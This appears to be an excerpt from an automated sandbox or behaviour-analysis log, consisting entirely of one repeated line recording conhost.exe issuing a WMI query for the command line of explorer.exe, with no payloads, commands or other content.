              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
